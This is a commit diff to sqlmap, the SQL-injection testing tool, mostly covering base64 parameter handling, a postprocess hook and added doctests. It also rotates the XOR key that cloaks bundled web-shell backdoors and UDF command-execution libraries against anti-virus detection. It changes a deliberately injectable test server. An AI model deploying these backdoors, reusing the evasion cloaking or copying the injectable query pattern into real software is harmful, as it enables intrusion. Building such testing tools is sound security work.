Fixes #4363

* new tamper script

works with time-based queries

* Update sleepgetlock.py

Co-authored-by: Miroslav Stampar <miroslav@sqlmap.org>

data/shell/README.txt

@@ -1,7 +1,7 @@
-Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
+Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
 
 To prepare the original scripts to the cloaked form use this command:
-find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
+find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
 
 To get back them into the original form use this:
-find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
+find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;

data/shell/backdoors/backdoor.php_

@@ -1,2 +1,2 @@
-:ЫХ&%╦С_m⌠D╗в?Е▓>и╠gI╛ё╠/З∙щб"	▄FщFчRs.k п⌡dqИЮa┌XЬ[°┘╧Юбlс5╖ZШйв∙⌠▄%Eч:+b≈м┬m╫Eк
-У╟╢?Чl┘м╟lw╤с(Б▌-Б&_Бk{╒],T╕ъЮШНгC╝\ba╛ik@bL6EХztФ©╠{■▐[дO╟]I~IlИX6└≤.щё²EЦS_б≥iОeKеxH2n╒дХCf┼CХ╓█ЬN╪БП5╒~	[ы,З 7ЩЩ=Ж;хЙ╛Ю+°Qюxt}zтq?╠·9ГUСЯSВУ>hvЯй╢М5gДW÷S=Н▓%√t"dЮ╒с╢wОnALg╛б▀ё$вО│ЁУ│э│ф
╢Sок_Еy
J╔Y┌Ч2У╫]╜;K;╚╞"√²6py|╙╡╟Х'*┌ ²)+.K┌у,R╬d(~U·│Ы6г9└▌b+аLi╪Ш©x
°Т`АЩ┘╧X┤>~н╙zE÷√НЪИР┤gХ└├╓f·Nб■К╠P{═▀$▌▀─e%<╒З╫У╩Sвв├┌$2#├╟P{╞╞Ф]╧├Ио└*⌠@°╔ж]╪kE
+5Ó×<Ùñ\Íh<C38D>†i•å1ãŽUPÍ¡²=¤¹è“^R~ƒlâtÇ3q-yÄü®5R
žÊ^°A™YŸ—çÌ÷F:£B¨pÄøÎj—<6A>ž{'$ˆJ\m½ò,‘¿FÙTÙ6áânHñFºÿ©
uµÁvλ|U’QPÈT"bÃ_/FøóÕª¸·4¡v]SµiCp8Z˜
{Ì€ƒbõ<62>XÖœ A9	FFÖj/å›pñ–Ì“x\uý«pŽgH×&d?ô~³çiY¸f"꧟¦b‰³¦EÕq#dëMø#%£Ñ§m¸<6D>£Ê®H¡zw#Vá iÁé6ÍjÁèdPå«]'§ºÃÇ
+Uý6<EFBFBD>P/°¾Ç"Rïˆì†nŽlB^9€÷ÚõT à«ŒÇ˜½ƒÅê 0™»(êS>x¼8<1C>ìlÙˆûK<41”<31>;÷Ÿ5b'PŸãæ˜P%¨¯0J,H<>‹9èw'Tj¬˜˜4Ä+Ú¢/3L[¶CCƒ(âÞzŽªLÔ¬ÓÉ/ˆAü³Gœ„°Óܣџ‹¬&–ÿMÐÊÇ„
-Ðü+¤´²'?üÖˆB£Ë$Ø.è´ã&O×æ …<>ÔDØ„êÝÚ¦ÊÕ¡R(ƒY\

data/xml/errors.xml

@@ -83,7 +83,7 @@
         <error regexp="CLI Driver.*?DB2"/>
         <error regexp="DB2 SQL error"/>
         <error regexp="\bdb2_\w+\("/>
-        <error regexp="SQLSTATE.+SQLCODE"/>
+        <error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
         <error regexp="com\.ibm\.db2\.jcc"/>
         <error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
         <error regexp="Pdo[./_\\]Ibm"/>

data/xml/queries.xml

@@ -301,8 +301,8 @@
             <blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
         </columns>
         <dump_table>
-            <inband query="SELECT %s FROM %s"/>
-            <blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
+            <inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
+            <blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq ORDER BY ROWNUM) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
         </dump_table>
         <!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
         <search_db>

doc/THIRD-PARTY.md

@@ -277,7 +277,7 @@ be bound by the terms and conditions of this License Agreement.
 * The `bottle` web framework library located under `thirdparty/bottle/`.
   Copyright (C) 2012, Marcel Hellkamp.
 * The `identYwaf` library located under `thirdparty/identywaf/`.
-  Copyright (C) 2019, Miroslav Stampar.
+  Copyright (C) 2019-2020, Miroslav Stampar.
 * The `ordereddict` library located under `thirdparty/odict/`.
   Copyright (C) 2009, Raymond Hettinger.
 * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.

doc/translations/README-fr-FR.md

@@ -32,7 +32,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
 
     python sqlmap.py -hh
 
-Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
+Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
 Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
 
 Liens

doc/translations/README-id-ID.md

@@ -43,7 +43,7 @@ Tautan
 * Situs: http://sqlmap.org
 * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
 * RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
-* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
 * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
 * Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * Twitter: [@sqlmap](https://twitter.com/sqlmap)

extra/cloak/cloak.py

@@ -21,7 +21,7 @@ if sys.version_info >= (3, 0):
     xrange = range
     ord = lambda _: _
 
-KEY = b"Beeth7hoyooleeF0"
+KEY = b"MOZFqVjlk1CY436G"
 
 def xor(message, key):
     return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))

extra/shutils/recloak.sh

@@ -0,0 +1,16 @@
+#!/bin/bash
+
+# NOTE: this script is for dev usage after AV something something
+
+DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)
+
+cd $DIR/../..
+for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done
+
+cd $DIR/../cloak
+sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py
+
+cd $DIR/../..
+for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done
+
+git clean -f > /dev/null

extra/vulnserver/vulnserver.py

@@ -9,6 +9,7 @@ See the file 'LICENSE' for copying permission
 
 from __future__ import print_function
 
+import base64
 import json
 import re
 import sqlite3
@@ -146,7 +147,10 @@ class ReqHandler(BaseHTTPRequestHandler):
                         if "query" in self.params:
                             _cursor.execute(self.params["query"])
                         elif "id" in self.params:
-                            _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
+                            if "base64" in self.params:
+                                _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode())
+                            else:
+                                _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
                         results = _cursor.fetchall()
 
                     output += "<b>SQL results:</b><br>\n"

lib/controller/checks.py

@@ -1581,7 +1581,7 @@ def checkConnection(suppressOutput=False):
         kb.originalPage = kb.pageTemplate = threadData.lastPage
         kb.originalCode = threadData.lastCode
 
-    if conf.cj and not conf.cookie and not conf.dropSetCookie:
+    if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie:
         candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
 
         message = "you have not declared cookie(s), while "

lib/core/agent.py

@@ -42,6 +42,7 @@ from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.enums import POST_HINT
 from lib.core.exception import SqlmapNoneDataException
+from lib.core.settings import BOUNDED_BASE64_MARKER
 from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
 from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
@@ -183,8 +184,12 @@ class Agent(object):
                 newValue = self.adjustLateValues(newValue)
 
             # TODO: support for POST_HINT
-            newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
-            origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
+            newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER)
+
+            if parameter in kb.base64Originals:
+                origValue = kb.base64Originals[parameter]
+            else:
+                origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
 
         if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
             _ = "%s%s" % (origValue, kb.customInjectionMark)
@@ -393,6 +398,10 @@ class Agent(object):
         """
 
         if payload:
+            for match in re.finditer(r"%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
+                _ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
+                payload = payload.replace(match.group(0), _)
+
             payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
             payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
 
@@ -1198,12 +1207,15 @@ class Agent(object):
 
     def whereQuery(self, query):
         if conf.dumpWhere and query:
-            match = re.search(r" (LIMIT|ORDER).+", query, re.I)
-            if match:
-                suffix = match.group(0)
-                prefix = query[:-len(suffix)]
+            if Backend.isDbms(DBMS.ORACLE) and re.search("qq ORDER BY \w+\)", query, re.I) is not None:
+                prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
             else:
-                prefix, suffix = query, ""
+                match = re.search(r" (LIMIT|ORDER).+", query, re.I)
+                if match:
+                    suffix = match.group(0)
+                    prefix = query[:-len(suffix)]
+                else:
+                    prefix, suffix = query, ""
 
             if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
                 prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)

lib/core/common.py

@@ -631,7 +631,8 @@ def paramToDict(place, parameters=None):
 
                 if parameter in (conf.base64Parameter or []):
                     try:
-                        oldValue = value
+                        kb.base64Originals[parameter] = oldValue = value
+                        value = urldecode(value, convall=True)
                         value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
                         parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
                     except:
@@ -1051,6 +1052,16 @@ def dataToDumpFile(dumpFile, data):
             raise
 
 def dataToOutFile(filename, data):
+    """
+    Saves data to filename
+
+    >>> pushValue(conf.get("filePath"))
+    >>> conf.filePath = tempfile.gettempdir()
+    >>> "_etc_passwd" in dataToOutFile("/etc/passwd", b":::*")
+    True
+    >>> conf.filePath = popValue()
+    """
+
     retVal = None
 
     if data:
@@ -1348,7 +1359,7 @@ def banner():
     if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
         result = BANNER
 
-        if not IS_TTY or "--disable-coloring" in sys.argv:
+        if not IS_TTY or any(_ in sys.argv for _ in ("--disable-coloring", "--disable-colouring")):
             result = clearColors(result)
         elif IS_WIN:
             coloramainit()
@@ -1714,6 +1725,11 @@ def escapeJsonValue(value):
     Escapes JSON value (used in payloads)
 
     # Reference: https://stackoverflow.com/a/16652683
+
+    >>> "\\n" in escapeJsonValue("foo\\nbar")
+    False
+    >>> "\\\\t" in escapeJsonValue("foo\\tbar")
+    True
     """
 
     retVal = ""
@@ -1888,6 +1904,12 @@ def getLocalIP():
 def getRemoteIP():
     """
     Get remote/target IP address
+
+    >>> pushValue(conf.hostname)
+    >>> conf.hostname = "localhost"
+    >>> getRemoteIP() == "127.0.0.1"
+    True
+    >>> conf.hostname = popValue()
     """
 
     retVal = None
@@ -2014,6 +2036,9 @@ def normalizePath(filepath):
 def safeFilepathEncode(filepath):
     """
     Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading)
+
+    >>> 'sqlmap' in safeFilepathEncode(paths.SQLMAP_HOME_PATH)
+    True
     """
 
     retVal = filepath
@@ -2220,6 +2245,15 @@ def isHexEncodedString(subject):
 def isMultiThreadMode():
     """
     Checks if running in multi-thread(ing) mode
+
+    >>> isMultiThreadMode()
+    False
+    >>> _ = lambda: time.sleep(0.1)
+    >>> thread = threading.Thread(target=_)
+    >>> thread.daemon = True
+    >>> thread.start()
+    >>> isMultiThreadMode()
+    True
     """
 
     return threading.activeCount() > 1
@@ -2228,6 +2262,9 @@ def isMultiThreadMode():
 def getConsoleWidth(default=80):
     """
     Returns console width
+
+    >>> any((getConsoleWidth(), True))
+    True
     """
 
     width = None
@@ -2434,6 +2471,9 @@ def initCommonOutputs():
 def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
     """
     Returns newline delimited items contained inside file
+
+    >>> "SELECT" in getFileItems(paths.SQL_KEYWORDS)
+    True
     """
 
     retVal = list() if not unique else OrderedDict()
@@ -2540,8 +2580,8 @@ def goGoodSamaritan(prevValue, originalCharset):
 
 def getPartRun(alias=True):
     """
-    Goes through call stack and finds constructs matching conf.dbmsHandler.*.
-    Returns it or its alias used in 'txt/common-outputs.txt'
+    Goes through call stack and finds constructs matching
+    conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt'
     """
 
     retVal = None
@@ -4734,7 +4774,7 @@ def serializeObject(object_):
     """
     Serializes given object
 
-    >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == six.binary_type
+    >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str
     True
     """
 
@@ -4964,6 +5004,14 @@ def decloakToTemp(filename):
     >>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
     True
     >>> os.remove(_)
+    >>> _ = decloakToTemp(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_"))
+    >>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
+    True
+    >>> os.remove(_)
+    >>> _ = decloakToTemp(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_"))
+    >>> b'sys_eval' in openFile(_, "rb", encoding=None).read()
+    True
+    >>> os.remove(_)
     """
 
     content = decloak(filename)
@@ -4997,6 +5045,12 @@ def getRequestHeader(request, name):
     Solving an issue with an urllib2 Request header case sensitivity
 
     # Reference: http://bugs.python.org/issue2275
+
+    >>> _ = lambda _: _
+    >>> _.headers = {"FOO": "BAR"}
+    >>> _.header_items = lambda: _.headers.items()
+    >>> getText(getRequestHeader(_, "foo"))
+    'BAR'
     """
 
     retVal = None
@@ -5094,6 +5148,13 @@ def pollProcess(process, suppress_errors=False):
 def parseRequestFile(reqFile, checkParams=True):
     """
     Parses WebScarab and Burp logs and adds results to the target URL list
+
+    >>> handle, reqFile = tempfile.mkstemp(suffix=".req")
+    >>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n"
+    >>> _ = os.write(handle, content)
+    >>> os.close(handle)
+    >>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com')))
+    True
     """
 
     def _parseWebScarabLog(content):
@@ -5236,7 +5297,7 @@ def parseRequestFile(reqFile, checkParams=True):
                         params = True
 
                     # Avoid proxy and connection type related headers
-                    elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
+                    elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH):
                         headers.append((getUnicode(key), getUnicode(value)))
 
                     if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):

lib/core/convert.py

@@ -48,16 +48,16 @@ def base64pickle(value):
     retVal = None
 
     try:
-        retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL))
+        retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False)
     except:
         warnMsg = "problem occurred while serializing "
         warnMsg += "instance of a type '%s'" % type(value)
         singleTimeWarnMessage(warnMsg)
 
         try:
-            retVal = encodeBase64(pickle.dumps(value))
+            retVal = encodeBase64(pickle.dumps(value), binary=False)
         except:
-            retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL))
+            retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False)
 
     return retVal
 
@@ -198,6 +198,8 @@ def decodeBase64(value, binary=True, encoding=None):
     True
     >>> decodeBase64("MTIz", binary=False)
     '123'
+    >>> decodeBase64("A-B_CDE") == decodeBase64("A+B/CDE")
+    True
     >>> decodeBase64(b"MTIzNA") == b"1234"
     True
     >>> decodeBase64("MTIzNA") == b"1234"
@@ -206,12 +208,22 @@ def decodeBase64(value, binary=True, encoding=None):
     True
     """
 
+    if value is None:
+        return None
+
     padding = b'=' if isinstance(value, bytes) else '='
 
     # Reference: https://stackoverflow.com/a/49459036
     if not value.endswith(padding):
         value += 3 * padding
 
+    # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
+    # Reference: https://perldoc.perl.org/MIME/Base64.html
+    if isinstance(value, bytes):
+        value = value.replace(b'-', b'+').replace(b'_', b'/')
+    else:
+        value = value.replace('-', '+').replace('_', '/')
+
     retVal = base64.b64decode(value)
 
     if not binary:
@@ -219,16 +231,23 @@ def decodeBase64(value, binary=True, encoding=None):
 
     return retVal
 
-def encodeBase64(value, binary=True, encoding=None):
+def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False):
     """
     Returns a decoded representation of provided Base64 value
 
     >>> encodeBase64(b"123") == b"MTIz"
     True
-    >>> encodeBase64(u"123", binary=False)
-    'MTIz'
+    >>> encodeBase64(u"1234", binary=False)
+    'MTIzNA=='
+    >>> encodeBase64(u"1234", binary=False, padding=False)
+    'MTIzNA'
+    >>> encodeBase64(decodeBase64("A-B_CDE"), binary=False, safe=True)
+    'A-B_CDE'
     """
 
+    if value is None:
+        return None
+
     if isinstance(value, six.text_type):
         value = value.encode(encoding or UNICODE_ENCODING)
 
@@ -237,6 +256,19 @@ def encodeBase64(value, binary=True, encoding=None):
     if not binary:
         retVal = getText(retVal, encoding)
 
+    if safe:
+        padding = False
+
+        # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
+        # Reference: https://perldoc.perl.org/MIME/Base64.html
+        if isinstance(retVal, bytes):
+            retVal = retVal.replace(b'+', b'-').replace(b'/', b'_')
+        else:
+            retVal = retVal.replace('+', '-').replace('/', '_')
+
+    if not padding:
+        retVal = retVal.rstrip(b'=' if isinstance(retVal, bytes) else '=')
+
     return retVal
 
 def getBytes(value, encoding=None, errors="strict", unsafe=True):

lib/core/enums.py

@@ -239,6 +239,7 @@ class HTTP_HEADER(object):
     EXPIRES = "Expires"
     HOST = "Host"
     IF_MODIFIED_SINCE = "If-Modified-Since"
+    IF_NONE_MATCH = "If-None-Match"
     LAST_MODIFIED = "Last-Modified"
     LOCATION = "Location"
     PRAGMA = "Pragma"

lib/core/option.py

@@ -825,7 +825,7 @@ def _setTamperingFunctions():
 
 def _setPreprocessFunctions():
     """
-    Loads preprocess functions from given script(s)
+    Loads preprocess function(s) from given script(s)
     """
 
     if conf.preprocess:
@@ -870,17 +870,95 @@ def _setPreprocessFunctions():
                 raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
 
             for name, function in inspect.getmembers(module, inspect.isfunction):
-                if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
+                try:
+                    if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)):
+                        found = True
+
+                        kb.preprocessFunctions.append(function)
+                        function.__name__ = module.__name__
+
+                        break
+                except ValueError:  # Note: https://github.com/sqlmapproject/sqlmap/issues/4357
+                    pass
+
+            if not found:
+                errMsg = "missing function 'preprocess(req)' "
+                errMsg += "in preprocess script '%s'" % script
+                raise SqlmapGenericException(errMsg)
+            else:
+                try:
+                    function(_urllib.request.Request("http://localhost"))
+                except:
+                    handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
+                    os.close(handle)
+
+                    openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(req):\n    pass\n")
+                    openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
+
+                    errMsg = "function 'preprocess(req)' "
+                    errMsg += "in preprocess script '%s' " % script
+                    errMsg += "appears to be invalid "
+                    errMsg += "(Note: find template script at '%s')" % filename
+                    raise SqlmapGenericException(errMsg)
+
+def _setPostprocessFunctions():
+    """
+    Loads postprocess function(s) from given script(s)
+    """
+
+    if conf.postprocess:
+        for script in re.split(PARAMETER_SPLITTING_REGEX, conf.postprocess):
+            found = False
+            function = None
+
+            script = safeFilepathEncode(script.strip())
+
+            try:
+                if not script:
+                    continue
+
+                if not os.path.exists(script):
+                    errMsg = "postprocess script '%s' does not exist" % script
+                    raise SqlmapFilePathException(errMsg)
+
+                elif not script.endswith(".py"):
+                    errMsg = "postprocess script '%s' should have an extension '.py'" % script
+                    raise SqlmapSyntaxException(errMsg)
+            except UnicodeDecodeError:
+                errMsg = "invalid character provided in option '--postprocess'"
+                raise SqlmapSyntaxException(errMsg)
+
+            dirname, filename = os.path.split(script)
+            dirname = os.path.abspath(dirname)
+
+            infoMsg = "loading postprocess module '%s'" % filename[:-3]
+            logger.info(infoMsg)
+
+            if not os.path.exists(os.path.join(dirname, "__init__.py")):
+                errMsg = "make sure that there is an empty file '__init__.py' "
+                errMsg += "inside of postprocess scripts directory '%s'" % dirname
+                raise SqlmapGenericException(errMsg)
+
+            if dirname not in sys.path:
+                sys.path.insert(0, dirname)
+
+            try:
+                module = __import__(safeFilepathEncode(filename[:-3]))
+            except Exception as ex:
+                raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
+
+            for name, function in inspect.getmembers(module, inspect.isfunction):
+                if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
                     found = True
 
-                    kb.preprocessFunctions.append(function)
+                    kb.postprocessFunctions.append(function)
                     function.__name__ = module.__name__
 
                     break
 
             if not found:
-                errMsg = "missing function 'preprocess(page, headers=None, code=None)' "
-                errMsg += "in preprocess script '%s'" % script
+                errMsg = "missing function 'postprocess(page, headers=None, code=None)' "
+                errMsg += "in postprocess script '%s'" % script
                 raise SqlmapGenericException(errMsg)
             else:
                 try:
@@ -889,11 +967,11 @@ def _setPreprocessFunctions():
                     handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
                     os.close(handle)
 
-                    open(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(page, headers=None, code=None):\n    return page, headers, code\n")
-                    open(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
+                    openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n    return page, headers, code\n")
+                    openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
 
-                    errMsg = "function 'preprocess(page, headers=None, code=None)' "
-                    errMsg += "in preprocess script '%s' " % script
+                    errMsg = "function 'postprocess(page, headers=None, code=None)' "
+                    errMsg += "in postprocess script '%s' " % script
                     errMsg += "should return a tuple '(page, headers, code)' "
                     errMsg += "(Note: find template script at '%s')" % filename
                     raise SqlmapGenericException(errMsg)
@@ -1450,8 +1528,8 @@ def _createHomeDirectories():
     if conf.get("purge"):
         return
 
-    for context in "output", "history":
-        directory = paths["SQLMAP_%s_PATH" % context.upper()]
+    for context in ("output", "history"):
+        directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()]   # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363
         try:
             if not os.path.isdir(directory):
                 os.makedirs(directory)
@@ -1762,6 +1840,8 @@ def _cleanupOptions():
         if not regex:
             conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
             conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
+        else:
+            conf.exclude = re.sub(r"(\w+)\$", r"\g<1>\$", conf.exclude)
 
     if conf.binaryFields:
         conf.binaryFields = conf.binaryFields.replace(" ", "")
@@ -1856,6 +1936,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.arch = None
     kb.authHeader = None
     kb.bannerFp = AttribDict()
+    kb.base64Originals = {}
     kb.binaryField = False
     kb.browserVerification = None
 
@@ -2008,10 +2089,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.skipSeqMatcher = False
     kb.smokeMode = False
     kb.reduceTests = None
-    kb.tlsSNI = {}
+    kb.sslSuccess = False
     kb.stickyDBMS = False
     kb.storeHashesChoice = None
     kb.suppressResumeInfo = False
+    kb.tableExistsChoice = None
     kb.tableFrom = None
     kb.technique = None
     kb.tempDir = None
@@ -2021,7 +2103,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.testType = None
     kb.threadContinue = True
     kb.threadException = False
-    kb.tableExistsChoice = None
+    kb.tlsSNI = {}
     kb.uChar = NULL
     kb.udfFail = False
     kb.unionDuplicates = False
@@ -2036,6 +2118,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
         kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
         kb.normalizeCrawlingChoice = None
         kb.passwordMgr = None
+        kb.postprocessFunctions = []
         kb.preprocessFunctions = []
         kb.skipVulnHost = None
         kb.storeCrawlingChoice = None
@@ -2682,6 +2765,7 @@ def init():
     _listTamperingFunctions()
     _setTamperingFunctions()
     _setPreprocessFunctions()
+    _setPostprocessFunctions()
     _setTrafficOutputFP()
     _setupHTTPCollector()
     _setHttpChunked()

lib/core/optiondict.py

@@ -203,6 +203,7 @@ optDict = {
         "answers": "string",
         "batch": "boolean",
         "base64Parameter": "string",
+        "base64Safe": "boolean",
         "binaryFields": "string",
         "charset": "string",
         "checkInternet": "boolean",
@@ -221,6 +222,7 @@ optDict = {
         "hexConvert": "boolean",
         "outputDir": "string",
         "parseErrors": "boolean",
+        "postprocess": "string",
         "preprocess": "string",
         "repair": "boolean",
         "saveConfig": "string",

lib/core/patch.py

@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
 """
 
 import codecs
+import os
 import random
 
 import lib.controller.checks
@@ -76,6 +77,15 @@ def dirtyPatches():
     # to prevent too much "guessing" in case of binary data retrieval
     thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
 
+    # https://github.com/sqlmapproject/sqlmap/issues/4314
+    try:
+        os.urandom(1)
+    except NotImplemented:
+        if six.PY3:
+            os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size))
+        else:
+            os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size))
+
 def resolveCrossReferences():
     """
     Place for cross-reference resolution

lib/core/settings.py

@@ -18,7 +18,7 @@ from lib.core.enums import OS
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.4.8.0"
+VERSION = "1.4.10.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -66,6 +66,7 @@ PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
